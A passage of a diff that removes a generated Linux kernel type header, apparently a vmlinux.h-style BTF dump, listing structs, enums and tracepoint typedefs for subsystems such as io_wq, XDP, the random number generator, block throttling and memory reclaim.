first_pblock; - ext4_fsblk_t last_pblock; -}; - -struct netnode_security_struct { - union { - __be32 ipv4; - struct in6_addr ipv6; - } addr; - u32 sid; - u16 family; -}; - -struct sel_netnode_bkt { - unsigned int size; - struct list_head list; -}; - -struct sel_netnode { - struct netnode_security_struct nsec; - struct list_head list; - struct callback_head rcu; -}; - -enum pci_mmap_state { - pci_mmap_io = 0, - pci_mmap_mem = 1, -}; - -struct irq_override_cmp { - const struct dmi_system_id *system; - unsigned char irq; - unsigned char triggering; - unsigned char polarity; - unsigned char shareable; - bool override; -}; - -struct res_proc_context { - struct list_head *list; - int (*preproc)(struct acpi_resource *, void *); - void *preproc_data; - int count; - int error; -}; - -struct acpi_ac { - struct power_supply *charger; - struct power_supply_desc charger_desc; - struct acpi_device *device; - long long unsigned int state; - struct notifier_block battery_nb; -}; - -struct uni_pagedict { - u16 **uni_pgdir[32]; - long unsigned int refcount; - long unsigned int sum; - unsigned char *inverse_translations[4]; - u16 *inverse_trans_unicode; -}; - -struct user_desc { - unsigned int entry_number; - unsigned int base_addr; - unsigned int limit; - unsigned int seg_32bit: 1; - unsigned int contents: 2; - unsigned int read_exec_only: 1; - unsigned int limit_in_pages: 1; - unsigned int seg_not_present: 1; - unsigned int useable: 1; - unsigned int lm: 1; -}; - -enum { - DESC_TSS = 9, - DESC_LDT = 2, - DESCTYPE_S = 16, -}; - -struct ldttss_desc { - u16 limit0; - u16 base0; - u16 base1: 8; - u16 type: 5; - u16 dpl: 2; - u16 p: 1; - u16 limit1: 4; - u16 zero0: 3; - u16 g: 1; - u16 base2: 8; - u32 base3; - u32 zero1; -}; - -typedef struct ldttss_desc ldt_desc; - -enum rwsem_waiter_type { - RWSEM_WAITING_FOR_WRITE = 0, - RWSEM_WAITING_FOR_READ = 1, -}; - -struct rwsem_waiter { - struct list_head list; - struct task_struct *task; - enum rwsem_waiter_type type; - long unsigned int timeout; - bool handoff_set; -}; - -enum rwsem_wake_type { - RWSEM_WAKE_ANY = 0, - RWSEM_WAKE_READERS = 1, - RWSEM_WAKE_READ_OWNED = 2, -}; - -enum owner_state { - OWNER_NULL = 1, - OWNER_WRITER = 2, - OWNER_READER = 4, - OWNER_NONSPINNABLE = 8, -}; - -struct io_tlb_area { - long unsigned int used; - unsigned int index; - spinlock_t lock; -}; - -struct io_tlb_slot { - phys_addr_t orig_addr; - size_t alloc_size; - unsigned int list; -}; - -struct trace_event_raw_swiotlb_bounced { - struct trace_entry ent; - u32 __data_loc_dev_name; - u64 dma_mask; - dma_addr_t dev_addr; - size_t size; - bool force; - char __data[0]; -}; - -struct trace_event_data_offsets_swiotlb_bounced { - u32 dev_name; -}; - -typedef void (*btf_trace_swiotlb_bounced)(void *, struct device *, dma_addr_t, size_t); - -struct fault_attr { - long unsigned int probability; - long unsigned int interval; - atomic_t times; - atomic_t space; - long unsigned int verbose; - bool task_filter; - long unsigned int stacktrace_depth; - long unsigned int require_start; - long unsigned int require_end; - long unsigned int reject_start; - long unsigned int reject_end; - long unsigned int count; - struct ratelimit_state ratelimit_state; - struct dentry *dname; -}; - -struct fei_attr { - struct list_head list; - struct kprobe kp; - long unsigned int retval; -}; - -struct trace_event_raw_rpm_internal { - struct trace_entry ent; - u32 __data_loc_name; - int flags; - int usage_count; - int disable_depth; - int runtime_auto; - int request_pending; - int irq_safe; - int child_count; - char __data[0]; -}; - -struct trace_event_raw_rpm_return_int { - struct trace_entry ent; - u32 __data_loc_name; - long unsigned int ip; - int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_rpm_internal { - u32 name; -}; - -struct trace_event_data_offsets_rpm_return_int { - u32 name; -}; - -typedef void (*btf_trace_rpm_suspend)(void *, struct device *, int); - -typedef void (*btf_trace_rpm_resume)(void *, struct device *, int); - -typedef void (*btf_trace_rpm_idle)(void *, struct device *, int); - -typedef void (*btf_trace_rpm_usage)(void *, struct device *, int); - -typedef void (*btf_trace_rpm_return_int)(void *, struct device *, long unsigned int, int); - -struct trace_event_raw_vm_unmapped_area { - struct trace_entry ent; - long unsigned int addr; - long unsigned int total_vm; - long unsigned int flags; - long unsigned int length; - long unsigned int low_limit; - long unsigned int high_limit; - long unsigned int align_mask; - long unsigned int align_offset; - char __data[0]; -}; - -struct trace_event_raw_vma_mas_szero { - struct trace_entry ent; - struct maple_tree *mt; - long unsigned int start; - long unsigned int end; - char __data[0]; -}; - -struct trace_event_raw_vma_store { - struct trace_entry ent; - struct maple_tree *mt; - struct vm_area_struct *vma; - long unsigned int vm_start; - long unsigned int vm_end; - char __data[0]; -}; - -struct trace_event_raw_exit_mmap { - struct trace_entry ent; - struct mm_struct *mm; - struct maple_tree *mt; - char __data[0]; -}; - -struct trace_event_data_offsets_vm_unmapped_area {}; - -struct trace_event_data_offsets_vma_mas_szero {}; - -struct trace_event_data_offsets_vma_store {}; - -struct trace_event_data_offsets_exit_mmap {}; - -typedef void (*btf_trace_vm_unmapped_area)(void *, long unsigned int, struct vm_unmapped_area_info *); - -typedef void (*btf_trace_vma_mas_szero)(void *, struct maple_tree *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_vma_store)(void *, struct maple_tree *, struct vm_area_struct *); - -typedef void (*btf_trace_exit_mmap)(void *, struct mm_struct *); - -struct ima_kexec_hdr { - u16 version; - u16 _reserved0; - u32 _reserved1; - u64 buffer_size; - u64 count; -}; - -enum header_fields { - HDR_PCR = 0, - HDR_DIGEST = 1, - HDR_TEMPLATE_NAME = 2, - HDR_TEMPLATE_DATA = 3, - HDR__LAST = 4, -}; - -struct rq_wait { - wait_queue_head_t wait; - atomic_t inflight; -}; - -struct rq_depth { - unsigned int max_depth; - int scale_step; - bool scaled_max; - unsigned int queue_depth; - unsigned int default_depth; -}; - -typedef bool acquire_inflight_cb_t(struct rq_wait *, void *); - -typedef void cleanup_cb_t(struct rq_wait *, void *); - -struct rq_qos_wait_data { - struct wait_queue_entry wq; - struct task_struct *task; - struct rq_wait *rqw; - acquire_inflight_cb_t *cb; - void *private_data; - bool got_token; -}; - -enum { - IO_WQ_BOUND = 0, - IO_WQ_UNBOUND = 1, -}; - -typedef struct io_wq_work *free_work_fn(struct io_wq_work *); - -typedef void io_wq_work_fn(struct io_wq_work *); - -struct io_wqe; - -struct io_wq { - long unsigned int state; - free_work_fn *free_work; - io_wq_work_fn *do_work; - struct io_wq_hash *hash; - atomic_t worker_refs; - struct completion worker_done; - struct hlist_node cpuhp_node; - struct task_struct *task; - struct io_wqe *wqes[0]; -}; - -struct io_wq_data { - struct io_wq_hash *hash; - struct task_struct *task; - io_wq_work_fn *do_work; - free_work_fn *free_work; -}; - -enum { - IO_WORKER_F_UP = 1, - IO_WORKER_F_RUNNING = 2, - IO_WORKER_F_FREE = 4, - IO_WORKER_F_BOUND = 8, -}; - -enum { - IO_WQ_BIT_EXIT = 0, -}; - -enum { - IO_ACCT_STALLED_BIT = 0, -}; - -struct io_worker { - refcount_t ref; - unsigned int flags; - struct hlist_nulls_node nulls_node; - struct list_head all_list; - struct task_struct *task; - struct io_wqe *wqe; - struct io_wq_work *cur_work; - struct io_wq_work *next_work; - raw_spinlock_t lock; - struct completion ref_done; - long unsigned int create_state; - struct callback_head create_work; - int create_index; - union { - struct callback_head rcu; - struct work_struct work; - }; -}; - -struct io_wqe_acct { - unsigned int nr_workers; - unsigned int max_workers; - int index; - atomic_t nr_running; - raw_spinlock_t lock; - struct io_wq_work_list work_list; - long unsigned int flags; -}; - -struct io_wqe { - raw_spinlock_t lock; - struct io_wqe_acct acct[2]; - int node; - struct hlist_nulls_head free_list; - struct list_head all_list; - struct wait_queue_entry wait; - struct io_wq *wq; - struct io_wq_work *hash_tail[64]; - cpumask_var_t cpu_mask; -}; - -enum { - IO_WQ_ACCT_BOUND = 0, - IO_WQ_ACCT_UNBOUND = 1, - IO_WQ_ACCT_NR = 2, -}; - -struct io_cb_cancel_data { - work_cancel_fn *fn; - void *data; - int nr_running; - int nr_pending; - bool cancel_all; -}; - -struct online_data { - unsigned int cpu; - bool online; -}; - -enum pm_qos_flags_status { - PM_QOS_FLAGS_UNDEFINED = -1, - PM_QOS_FLAGS_NONE = 0, - PM_QOS_FLAGS_SOME = 1, - PM_QOS_FLAGS_ALL = 2, -}; - -struct hpx_type0 { - u32 revision; - u8 cache_line_size; - u8 latency_timer; - u8 enable_serr; - u8 enable_perr; -}; - -struct hpx_type1 { - u32 revision; - u8 max_mem_read; - u8 avg_max_split; - u16 tot_max_split; -}; - -struct hpx_type2 { - u32 revision; - u32 unc_err_mask_and; - u32 unc_err_mask_or; - u32 unc_err_sever_and; - u32 unc_err_sever_or; - u32 cor_err_mask_and; - u32 cor_err_mask_or; - u32 adv_err_cap_and; - u32 adv_err_cap_or; - u16 pci_exp_devctl_and; - u16 pci_exp_devctl_or; - u16 pci_exp_lnkctl_and; - u16 pci_exp_lnkctl_or; - u32 sec_unc_err_sever_and; - u32 sec_unc_err_sever_or; - u32 sec_unc_err_mask_and; - u32 sec_unc_err_mask_or; -}; - -struct hpx_type3 { - u16 device_type; - u16 function_type; - u16 config_space_location; - u16 pci_exp_cap_id; - u16 pci_exp_cap_ver; - u16 pci_exp_vendor_id; - u16 dvsec_id; - u16 dvsec_rev; - u16 match_offset; - u32 match_mask_and; - u32 match_value; - u16 reg_offset; - u32 reg_mask_and; - u32 reg_mask_or; -}; - -enum hpx_type3_dev_type { - HPX_TYPE_ENDPOINT = 1, - HPX_TYPE_LEG_END = 2, - HPX_TYPE_RC_END = 4, - HPX_TYPE_RC_EC = 8, - HPX_TYPE_ROOT_PORT = 16, - HPX_TYPE_UPSTREAM = 32, - HPX_TYPE_DOWNSTREAM = 64, - HPX_TYPE_PCI_BRIDGE = 128, - HPX_TYPE_PCIE_BRIDGE = 256, -}; - -enum hpx_type3_fn_type { - HPX_FN_NORMAL = 1, - HPX_FN_SRIOV_PHYS = 2, - HPX_FN_SRIOV_VIRT = 4, -}; - -enum hpx_type3_cfg_loc { - HPX_CFG_PCICFG = 0, - HPX_CFG_PCIE_CAP = 1, - HPX_CFG_PCIE_CAP_EXT = 2, - HPX_CFG_VEND_CAP = 3, - HPX_CFG_DVSEC = 4, - HPX_CFG_MAX = 5, -}; - -typedef u32 acpi_rsdesc_size; - -struct dw8250_port_data { - int line; - struct uart_8250_dma dma; - u8 dlf_size; - bool hw_rs485_support; -}; - -struct dw8250_platform_data { - u8 usr_reg; - u32 cpr_val; - unsigned int quirks; -}; - -struct dw8250_data { - struct dw8250_port_data data; - const struct dw8250_platform_data *pdata; - int msr_mask_on; - int msr_mask_off; - struct clk *clk; - struct clk *pclk; - struct notifier_block clk_notifier; - struct work_struct clk_work; - struct reset_control *rst; - unsigned int skip_autocfg: 1; - unsigned int uart_16550_compatible: 1; -}; - -struct probe { - struct probe *next; - dev_t dev; - long unsigned int range; - struct module *owner; - kobj_probe_t *get; - int (*lock)(dev_t, void *); - void *data; -}; - -struct kobj_map { - struct probe *probes[255]; - struct mutex *lock; -}; - -struct fw_sysfs { - bool nowait; - struct device dev; - struct fw_priv *fw_priv; - struct firmware *fw; - void *fw_upload_priv; -}; - -enum ethtool_multicast_groups { - ETHNL_MCGRP_MONITOR = 0, -}; - -struct ethnl_dump_ctx { - const struct ethnl_request_ops *ops; - struct ethnl_req_info *req_info; - struct ethnl_reply_data *reply_data; - int pos_hash; - int pos_idx; -}; - -typedef void (*ethnl_notify_handler_t)(struct net_device *, unsigned int, const void *); - -struct ping_iter_state { - struct seq_net_private p; - int bucket; - sa_family_t family; -}; - -struct pingfakehdr { - struct icmphdr icmph; - struct msghdr *msg; - sa_family_t family; - __wsum wcheck; -}; - -struct ping_table { - struct hlist_nulls_head hash[64]; - spinlock_t lock; -}; - -struct msr_info { - u32 msr_no; - struct msr reg; - struct msr *msrs; - int err; -}; - -struct saved_msr { - bool valid; - struct msr_info info; -}; - -struct saved_msrs { - unsigned int num; - struct saved_msr *array; -}; - -typedef struct ldttss_desc tss_desc; - -struct saved_context { - struct pt_regs regs; - u16 ds; - u16 es; - u16 fs; - u16 gs; - long unsigned int kernelmode_gs_base; - long unsigned int usermode_gs_base; - long unsigned int fs_base; - long unsigned int cr0; - long unsigned int cr2; - long unsigned int cr3; - long unsigned int cr4; - u64 misc_enable; - struct saved_msrs saved_msrs; - long unsigned int efer; - u16 gdt_pad; - struct desc_ptr gdt_desc; - u16 idt_pad; - struct desc_ptr idt; - u16 ldt; - u16 tss; - long unsigned int tr; - long unsigned int safety; - long unsigned int return_address; - bool misc_enable_saved; -} __attribute__((packed)); - -typedef int (*pm_cpu_match_t)(const struct x86_cpu_id *); - -struct msr_enumeration { - u32 msr_no; - u32 feature; -}; - -struct setup_indirect { - __u32 type; - __u32 reserved; - __u64 len; - __u64 addr; -}; - -struct ima_setup_data { - __u64 addr; - __u64 size; -}; - -enum efi_secureboot_mode { - efi_secureboot_mode_unset = 0, - efi_secureboot_mode_unknown = 1, - efi_secureboot_mode_disabled = 2, - efi_secureboot_mode_enabled = 3, -}; - -enum hpet_mode { - HPET_MODE_UNUSED = 0, - HPET_MODE_LEGACY = 1, - HPET_MODE_CLOCKEVT = 2, - HPET_MODE_DEVICE = 3, -}; - -struct hpet_channel { - struct clock_event_device evt; - unsigned int num; - unsigned int cpu; - unsigned int irq; - unsigned int in_use; - enum hpet_mode mode; - unsigned int boot_cfg; - char name[10]; - long: 64; - long: 64; - long: 64; -}; - -struct hpet_base { - unsigned int nr_channels; - unsigned int nr_clockevents; - unsigned int boot_cfg; - struct hpet_channel *channels; -}; - -union hpet_lock { - struct { - arch_spinlock_t lock; - u32 value; - }; - u64 lockval; -}; - -struct trace_event_raw_cpuhp_enter { - struct trace_entry ent; - unsigned int cpu; - int target; - int idx; - void *fun; - char __data[0]; -}; - -struct trace_event_raw_cpuhp_multi_enter { - struct trace_entry ent; - unsigned int cpu; - int target; - int idx; - void *fun; - char __data[0]; -}; - -struct trace_event_raw_cpuhp_exit { - struct trace_entry ent; - unsigned int cpu; - int state; - int idx; - int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_cpuhp_enter {}; - -struct trace_event_data_offsets_cpuhp_multi_enter {}; - -struct trace_event_data_offsets_cpuhp_exit {}; - -typedef void (*btf_trace_cpuhp_enter)(void *, unsigned int, int, int, int (*)(unsigned int)); - -typedef void (*btf_trace_cpuhp_multi_enter)(void *, unsigned int, int, int, int (*)(unsigned int, struct hlist_node *), struct hlist_node *); - -typedef void (*btf_trace_cpuhp_exit)(void *, unsigned int, int, int, int); - -struct cpuhp_cpu_state { - enum cpuhp_state state; - enum cpuhp_state target; - enum cpuhp_state fail; - struct task_struct *thread; - bool should_run; - bool rollback; - bool single; - bool bringup; - struct hlist_node *node; - struct hlist_node *last; - enum cpuhp_state cb_state; - int result; - struct completion done_up; - struct completion done_down; -}; - -struct cpuhp_step { - const char *name; - union { - int (*single)(unsigned int); - int (*multi)(unsigned int, struct hlist_node *); - } startup; - union { - int (*single)(unsigned int); - int (*multi)(unsigned int, struct hlist_node *); - } teardown; - struct hlist_head list; - bool cant_stop; - bool multi_instance; -}; - -enum cpu_mitigations { - CPU_MITIGATIONS_OFF = 0, - CPU_MITIGATIONS_AUTO = 1, - CPU_MITIGATIONS_AUTO_NOSMT = 2, -}; - -struct latch_tree_root { - seqcount_latch_t seq; - struct rb_root tree[2]; -}; - -struct latch_tree_ops { - bool (*less)(struct latch_tree_node *, struct latch_tree_node *); - int (*comp)(void *, struct latch_tree_node *); -}; - -struct bpf_prog_pack { - struct list_head list; - void *ptr; - long unsigned int bitmap[0]; -}; - -struct bpf_prog_dummy { - struct bpf_prog prog; -}; - -typedef u64 (*btf_bpf_user_rnd_u32)(); - -typedef u64 (*btf_bpf_get_raw_cpu_id)(); - -struct _bpf_dtab_netdev { - struct net_device *dev; -}; - -struct trace_event_raw_xdp_exception { - struct trace_entry ent; - int prog_id; - u32 act; - int ifindex; - char __data[0]; -}; - -struct trace_event_raw_xdp_bulk_tx { - struct trace_entry ent; - int ifindex; - u32 act; - int drops; - int sent; - int err; - char __data[0]; -}; - -struct trace_event_raw_xdp_redirect_template { - struct trace_entry ent; - int prog_id; - u32 act; - int ifindex; - int err; - int to_ifindex; - u32 map_id; - int map_index; - char __data[0]; -}; - -struct trace_event_raw_xdp_cpumap_kthread { - struct trace_entry ent; - int map_id; - u32 act; - int cpu; - unsigned int drops; - unsigned int processed; - int sched; - unsigned int xdp_pass; - unsigned int xdp_drop; - unsigned int xdp_redirect; - char __data[0]; -}; - -struct trace_event_raw_xdp_cpumap_enqueue { - struct trace_entry ent; - int map_id; - u32 act; - int cpu; - unsigned int drops; - unsigned int processed; - int to_cpu; - char __data[0]; -}; - -struct trace_event_raw_xdp_devmap_xmit { - struct trace_entry ent; - int from_ifindex; - u32 act; - int to_ifindex; - int drops; - int sent; - int err; - char __data[0]; -}; - -struct trace_event_raw_mem_disconnect { - struct trace_entry ent; - const struct xdp_mem_allocator *xa; - u32 mem_id; - u32 mem_type; - const void *allocator; - char __data[0]; -}; - -struct trace_event_raw_mem_connect { - struct trace_entry ent; - const struct xdp_mem_allocator *xa; - u32 mem_id; - u32 mem_type; - const void *allocator; - const struct xdp_rxq_info *rxq; - int ifindex; - char __data[0]; -}; - -struct trace_event_raw_mem_return_failed { - struct trace_entry ent; - const struct page *page; - u32 mem_id; - u32 mem_type; - char __data[0]; -}; - -struct trace_event_data_offsets_xdp_exception {}; - -struct trace_event_data_offsets_xdp_bulk_tx {}; - -struct trace_event_data_offsets_xdp_redirect_template {}; - -struct trace_event_data_offsets_xdp_cpumap_kthread {}; - -struct trace_event_data_offsets_xdp_cpumap_enqueue {}; - -struct trace_event_data_offsets_xdp_devmap_xmit {}; - -struct trace_event_data_offsets_mem_disconnect {}; - -struct trace_event_data_offsets_mem_connect {}; - -struct trace_event_data_offsets_mem_return_failed {}; - -typedef void (*btf_trace_xdp_exception)(void *, const struct net_device *, const struct bpf_prog *, u32); - -typedef void (*btf_trace_xdp_bulk_tx)(void *, const struct net_device *, int, int, int); - -typedef void (*btf_trace_xdp_redirect)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); - -typedef void (*btf_trace_xdp_redirect_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); - -typedef void (*btf_trace_xdp_redirect_map)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); - -typedef void (*btf_trace_xdp_redirect_map_err)(void *, const struct net_device *, const struct bpf_prog *, const void *, int, enum bpf_map_type, u32, u32); - -typedef void (*btf_trace_xdp_cpumap_kthread)(void *, int, unsigned int, unsigned int, int, struct xdp_cpumap_stats *); - -typedef void (*btf_trace_xdp_cpumap_enqueue)(void *, int, unsigned int, unsigned int, int); - -typedef void (*btf_trace_xdp_devmap_xmit)(void *, const struct net_device *, const struct net_device *, int, int, int); - -typedef void (*btf_trace_mem_disconnect)(void *, const struct xdp_mem_allocator *); - -typedef void (*btf_trace_mem_connect)(void *, const struct xdp_mem_allocator *, const struct xdp_rxq_info *); - -typedef void (*btf_trace_mem_return_failed)(void *, const struct xdp_mem_info *, const struct page *); - -typedef u32 unicode_t; - -struct utf8_table { - int cmask; - int cval; - int shift; - long int lmask; - long int lval; -}; - -struct debugfs_blob_wrapper { - void *data; - long unsigned int size; -}; - -struct debugfs_reg32 { - char *name; - long unsigned int offset; -}; - -struct debugfs_regset32 { - const struct debugfs_reg32 *regs; - int nregs; - void *base; - struct device *dev; -}; - -struct debugfs_devm_entry { - int (*read)(struct seq_file *, void *); - struct device *dev; -}; - -struct drbg_string { - const unsigned char *buf; - size_t len; - struct list_head list; -}; - -typedef uint32_t drbg_flag_t; - -struct drbg_core { - drbg_flag_t flags; - __u8 statelen; - __u8 blocklen_bytes; - char cra_name[128]; - char backend_cra_name[128]; -}; - -struct drbg_state; - -struct drbg_state_ops { - int (*update)(struct drbg_state *, struct list_head *, int); - int (*generate)(struct drbg_state *, unsigned char *, unsigned int, struct list_head *); - int (*crypto_init)(struct drbg_state *); - int (*crypto_fini)(struct drbg_state *); -}; - -enum drbg_seed_state { - DRBG_SEED_STATE_UNSEEDED = 0, - DRBG_SEED_STATE_PARTIAL = 1, - DRBG_SEED_STATE_FULL = 2, -}; - -struct drbg_state { - struct mutex drbg_mutex; - unsigned char *V; - unsigned char *Vbuf; - unsigned char *C; - unsigned char *Cbuf; - size_t reseed_ctr; - size_t reseed_threshold; - unsigned char *scratchpad; - unsigned char *scratchpadbuf; - void *priv_data; - struct crypto_skcipher *ctr_handle; - struct skcipher_request *ctr_req; - __u8 *outscratchpadbuf; - __u8 *outscratchpad; - struct crypto_wait ctr_wait; - struct scatterlist sg_in; - struct scatterlist sg_out; - enum drbg_seed_state seeded; - long unsigned int last_seed_time; - bool pr; - bool fips_primed; - unsigned char *prev; - struct crypto_rng *jent; - const struct drbg_state_ops *d_ops; - const struct drbg_core *core; - struct drbg_string test_data; -}; - -enum drbg_prefixes { - DRBG_PREFIX0 = 0, - DRBG_PREFIX1 = 1, - DRBG_PREFIX2 = 2, - DRBG_PREFIX3 = 3, -}; - -struct sdesc { - struct shash_desc shash; - char ctx[0]; -}; - -struct throtl_service_queue { - struct throtl_service_queue *parent_sq; - struct list_head queued[2]; - unsigned int nr_queued[2]; - struct rb_root_cached pending_tree; - unsigned int nr_pending; - long unsigned int first_pending_disptime; - struct timer_list pending_timer; -}; - -struct latency_bucket { - long unsigned int total_latency; - int samples; -}; - -struct avg_latency_bucket { - long unsigned int latency; - bool valid; -}; - -struct throtl_data { - struct throtl_service_queue service_queue; - struct request_queue *queue; - unsigned int nr_queued[2]; - unsigned int throtl_slice; - struct work_struct dispatch_work; - unsigned int limit_index; - bool limit_valid[2]; - long unsigned int low_upgrade_time; - long unsigned int low_downgrade_time; - unsigned int scale; - struct latency_bucket tmp_buckets[18]; - struct avg_latency_bucket avg_buckets[18]; - struct latency_bucket *latency_buckets[2]; - long unsigned int last_calculate_time; - long unsigned int filtered_latency; - bool track_bio_latency; -}; - -enum blktrace_cat { - BLK_TC_READ = 1, - BLK_TC_WRITE = 2, - BLK_TC_FLUSH = 4, - BLK_TC_SYNC = 8, - BLK_TC_SYNCIO = 8, - BLK_TC_QUEUE = 16, - BLK_TC_REQUEUE = 32, - BLK_TC_ISSUE = 64, - BLK_TC_COMPLETE = 128, - BLK_TC_FS = 256, - BLK_TC_PC = 512, - BLK_TC_NOTIFY = 1024, - BLK_TC_AHEAD = 2048, - BLK_TC_META = 4096, - BLK_TC_DISCARD = 8192, - BLK_TC_DRV_DATA = 16384, - BLK_TC_FUA = 32768, - BLK_TC_END = 32768, -}; - -struct blkg_conf_ctx { - struct block_device *bdev; - struct blkcg_gq *blkg; - char *body; -}; - -struct throtl_grp; - -struct throtl_qnode { - struct list_head node; - struct bio_list bios; - struct throtl_grp *tg; -}; - -struct throtl_grp { - struct blkg_policy_data pd; - struct rb_node rb_node; - struct throtl_data *td; - struct throtl_service_queue service_queue; - struct throtl_qnode qnode_on_self[2]; - struct throtl_qnode qnode_on_parent[2]; - long unsigned int disptime; - unsigned int flags; - bool has_rules_bps[2]; - bool has_rules_iops[2]; - uint64_t bps[4]; - uint64_t bps_conf[4]; - unsigned int iops[4]; - unsigned int iops_conf[4]; - uint64_t bytes_disp[2]; - unsigned int io_disp[2]; - long unsigned int last_low_overflow_time[2]; - uint64_t last_bytes_disp[2]; - unsigned int last_io_disp[2]; - uint64_t carryover_bytes[2]; - unsigned int carryover_ios[2]; - long unsigned int last_check_time; - long unsigned int latency_target; - long unsigned int latency_target_conf; - long unsigned int slice_start[2]; - long unsigned int slice_end[2]; - long unsigned int last_finish_time; - long unsigned int checked_last_finish_time; - long unsigned int avg_idletime; - long unsigned int idletime_threshold; - long unsigned int idletime_threshold_conf; - unsigned int bio_cnt; - unsigned int bad_bio_cnt; - long unsigned int bio_cnt_reset_time; - struct blkg_rwstat stat_bytes; - struct blkg_rwstat stat_ios; -}; - -enum tg_state_flags { - THROTL_TG_PENDING = 1, - THROTL_TG_WAS_EMPTY = 2, - THROTL_TG_CANCELING = 4, -}; - -struct vgastate { - void *vgabase; - long unsigned int membase; - __u32 memsize; - __u32 flags; - __u32 depth; - __u32 num_attr; - __u32 num_crtc; - __u32 num_gfx; - __u32 num_seq; - void *vidstate; -}; - -struct acpi_exception_info { - char *name; -}; - -struct timer_rand_state { - long unsigned int last_time; - long int last_delta; - long int last_delta2; -}; - -enum chacha_constants { - CHACHA_CONSTANT_EXPA = 1634760805, - CHACHA_CONSTANT_ND_3 = 857760878, - CHACHA_CONSTANT_2_BY = 2036477234, - CHACHA_CONSTANT_TE_K = 1797285236, -}; - -enum blake2s_iv { - BLAKE2S_IV0 = 1779033703, - BLAKE2S_IV1 = 3144134277, - BLAKE2S_IV2 = 1013904242, - BLAKE2S_IV3 = 2773480762, - BLAKE2S_IV4 = 1359893119, - BLAKE2S_IV5 = 2600822924, - BLAKE2S_IV6 = 528734635, - BLAKE2S_IV7 = 1541459225, -}; - -enum { - CRNG_EMPTY = 0, - CRNG_EARLY = 1, - CRNG_READY = 2, -}; - -enum { - CRNG_RESEED_START_INTERVAL = 1000, - CRNG_RESEED_INTERVAL = 60000, -}; - -struct crng { - u8 key[32]; - long unsigned int generation; - local_lock_t lock; -}; - -struct batch_u8 { - u8 entropy[96]; - local_lock_t lock; - long unsigned int generation; - unsigned int position; -}; - -struct batch_u16 { - u16 entropy[48]; - local_lock_t lock; - long unsigned int generation; - unsigned int position; -}; - -struct batch_u32 { - u32 entropy[24]; - local_lock_t lock; - long unsigned int generation; - unsigned int position; -}; - -struct batch_u64 { - u64 entropy[12]; - local_lock_t lock; - long unsigned int generation; - unsigned int position; -}; - -enum { - POOL_BITS = 256, - POOL_READY_BITS = 256, - POOL_EARLY_BITS = 128, -}; - -struct fast_pool { - long unsigned int pool[4]; - long unsigned int last; - unsigned int count; - struct timer_list mix; -}; - -struct entropy_timer_state { - long unsigned int entropy; - struct timer_list timer; - unsigned int samples; - unsigned int samples_per_bit; -}; - -enum { - NUM_TRIAL_SAMPLES = 8192, - MAX_SAMPLES_PER_BIT = 66, -}; - -enum { - MIX_INFLIGHT = 2147483648, -}; - -enum i8042_controller_reset_mode { - I8042_RESET_NEVER = 0, - I8042_RESET_ALWAYS = 1, - I8042_RESET_ON_S2RAM = 2, -}; - -struct i8042_port { - struct serio *serio; - int irq; - bool exists; - bool driver_bound; - signed char mux; -}; - -struct fib_nh_notifier_info { - struct fib_notifier_info info; - struct fib_nh *fib_nh; -}; - -struct hop_jumbo_hdr { - u8 nexthdr; - u8 hdrlen; - u8 tlv_type; - u8 tlv_len; - __be32 jumbo_payload_len; -}; - -struct rlimit64 { - __u64 rlim_cur; - __u64 rlim_max; -}; - -struct oldold_utsname { - char sysname[9]; - char nodename[9]; - char release[9]; - char version[9]; - char machine[9]; -}; - -struct old_utsname { - char sysname[65]; - char nodename[65]; - char release[65]; - char version[65]; - char machine[65]; -}; - -struct prctl_mm_map { - __u64 start_code; - __u64 end_code; - __u64 start_data; - __u64 end_data; - __u64 start_brk; - __u64 brk; - __u64 start_stack; - __u64 arg_start; - __u64 arg_end; - __u64 env_start; - __u64 env_end; - __u64 *auxv; - __u32 auxv_size; - __u32 exe_fd; -}; - -struct tms { - __kernel_clock_t tms_utime; - __kernel_clock_t tms_stime; - __kernel_clock_t tms_cutime; - __kernel_clock_t tms_cstime; -}; - -struct getcpu_cache { - long unsigned int blob[16]; -}; - -enum lruvec_flags { - LRUVEC_CONGESTED = 0, -}; - -enum pgdat_flags { - PGDAT_DIRTY = 0, - PGDAT_WRITEBACK = 1, - PGDAT_RECLAIM_LOCKED = 2, -}; - -struct reclaim_stat { - unsigned int nr_dirty; - unsigned int nr_unqueued_dirty; - unsigned int nr_congested; - unsigned int nr_writeback; - unsigned int nr_immediate; - unsigned int nr_pageout; - unsigned int nr_activate[2]; - unsigned int nr_ref_keep; - unsigned int nr_unmap_fail; - unsigned int nr_lazyfree_fail; -}; - -struct trace_event_raw_mm_vmscan_kswapd_sleep { - struct trace_entry ent; - int nid; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_kswapd_wake { - struct trace_entry ent; - int nid; - int zid; - int order; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_wakeup_kswapd { - struct trace_entry ent; - int nid; - int zid; - int order; - long unsigned int gfp_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_direct_reclaim_begin_template { - struct trace_entry ent; - int order; - long unsigned int gfp_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_direct_reclaim_end_template { - struct trace_entry ent; - long unsigned int nr_reclaimed; - char __data[0]; -}; - -struct trace_event_raw_mm_shrink_slab_start { - struct trace_entry ent; - struct shrinker *shr; - void *shrink; - int nid; - long int nr_objects_to_shrink; - long unsigned int gfp_flags; - long unsigned int cache_items; - long long unsigned int delta; - long unsigned int total_scan; - int priority; - char __data[0]; -}; - -struct trace_event_raw_mm_shrink_slab_end { - struct trace_entry ent; - struct shrinker *shr; - int nid; - void *shrink; - long int unused_scan; - long int new_scan; - int retval; - long int total_scan; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_lru_isolate { - struct trace_entry ent; - int highest_zoneidx; - int order; - long unsigned int nr_requested; - long unsigned int nr_scanned; - long unsigned int nr_skipped; - long unsigned int nr_taken; - unsigned int isolate_mode; - int lru; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_write_folio { - struct trace_entry ent; - long unsigned int pfn; - int reclaim_flags; - char __data[0]; -}; - -struct trace_event_raw_mm_vmscan_lru_shrink_inactive { - struct trace_entry ent; - int nid; - long unsigned int nr_scanned; - long unsigned int nr_reclaimed; - long unsigned int 